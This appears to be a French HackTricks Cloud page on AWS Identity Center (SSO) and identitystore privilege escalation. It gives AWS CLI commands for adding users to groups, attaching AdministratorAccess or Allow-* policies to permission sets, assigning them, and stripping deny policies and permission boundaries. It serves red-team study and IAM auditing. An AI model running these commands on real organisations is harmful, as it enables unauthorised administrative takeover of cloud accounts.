AWS - SSO & identitystore Privesc
Reading time: 6 minutes
tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :
HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
AWS Identity Center / AWS SSO
Pour plus d'informations sur AWS Identity Center / AWS SSO, consultez :
AWS - IAM, Identity Center & SSO Enum
warning
Notez que, par défaut, seuls les utilisateurs disposant de permissions du Management Account pourront accéder et contrôler l'IAM Identity Center.
Les utilisateurs d'autres comptes ne peuvent le faire que si le compte est un Delegated Administrator.
Check the docs for more info.
Réinitialiser le mot de passe
Une manière simple d'escalader les privilèges dans ce genre de cas serait d'avoir une permission permettant de réinitialiser les mots de passe des utilisateurs. Malheureusement, il n'est possible que d'envoyer un e-mail à l'utilisateur pour réinitialiser son mot de passe, donc vous auriez besoin d'accéder à l'e-mail de l'utilisateur.
identitystore:CreateGroupMembership
Avec cette permission, il est possible d'ajouter un utilisateur à un groupe afin qu'il hérite de toutes les permissions du groupe.
aws identitystore create-group-membership --identity-store-id <tore-id> --group-id <group-id> --member-id UserId=<user-id>
sso:PutInlinePolicyToPermissionSet, sso:ProvisionPermissionSet
Un attaquant disposant de cette permission pourrait accorder des permissions supplémentaires à un Permission Set qui est accordé à un user sous son contrôle
# Set an inline policy with admin privileges
aws sso-admin put-inline-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --inline-policy file:///tmp/policy.yaml
# Content of /tmp/policy.yaml
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Statement1",
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}
# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS
sso:AttachManagedPolicyToPermissionSet, sso:ProvisionPermissionSet
Un attaquant disposant de cette permission pourrait accorder des autorisations supplémentaires à un Permission Set qui est attribué à un utilisateur sous son contrôle.
# Set AdministratorAccess policy to the permission set
aws sso-admin attach-managed-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --managed-policy-arn "arn:aws:iam::aws:policy/AdministratorAccess"
# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS
sso:AttachCustomerManagedPolicyReferenceToPermissionSet, sso:ProvisionPermissionSet
Un attaquant disposant de cette permission pourrait accorder des permissions supplémentaires à un Permission Set qui est attribué à un utilisateur sous son contrôle.
warning
Pour abuser de ces permissions dans ce cas, vous devez connaître le nom d'une customer managed policy qui est présente DANS TOUS les comptes qui seront affectés.
# Set AdministratorAccess policy to the permission set
aws sso-admin attach-customer-managed-policy-reference-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --customer-managed-policy-reference <customer-managed-policy-name>
# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS
sso:CreateAccountAssignment
Un attaquant ayant cette autorisation pourrait attribuer un Permission Set à un utilisateur qu'il contrôle sur un compte.
aws sso-admin create-account-assignment --instance-arn <instance-arn> --target-id <account_num> --target-type AWS_ACCOUNT --permission-set-arn <permission_set_arn> --principal-type USER --principal-id <principal_id>
sso:GetRoleCredentials
Renvoie les identifiants temporaires STS pour un rôle donné attribué à l'utilisateur.
aws sso get-role-credentials --role-name <value> --account-id <value> --access-token <value>
Cependant, vous avez besoin d'un access token que je ne sais pas comment obtenir (TODO).
sso:DetachManagedPolicyFromPermissionSet
Un attaquant disposant de cette permission peut supprimer l'association entre un managed policy AWS et le permission set spécifié. Il est possible d'obtenir plus de privilèges en détachant un managed policy (deny policy).
aws sso-admin detach-managed-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN> --managed-policy-arn <ManagedPolicyARN>
sso:DetachCustomerManagedPolicyReferenceFromPermissionSet
Un attacker disposant de cette permission peut supprimer l'association entre une Customer managed policy et le permission set spécifié. Il est possible d'accorder davantage de privilèges en détachant une managed policy (deny policy).
aws sso-admin detach-customer-managed-policy-reference-from-permission-set --instance-arn <value> --permission-set-arn <value> --customer-managed-policy-reference <value>
sso:DeleteInlinePolicyFromPermissionSet
Un attaquant disposant de cette permission peut supprimer les permissions d'une inline policy du permission set. Il est possible d'accorder davantage de privilèges en détachant une inline policy (deny policy).
aws sso-admin delete-inline-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN>
sso:DeletePermissionBoundaryFromPermissionSet
Un attaquant disposant de cette permission peut supprimer le Permission Boundary du permission set. Il est possible d'accorder plus de privilèges en supprimant les restrictions sur le Permission Set imposées par le Permission Boundary.
aws sso-admin delete-permissions-boundary-from-permission-set --instance-arn <value> --permission-set-arn <value>
tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :
HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
HackTricks Cloud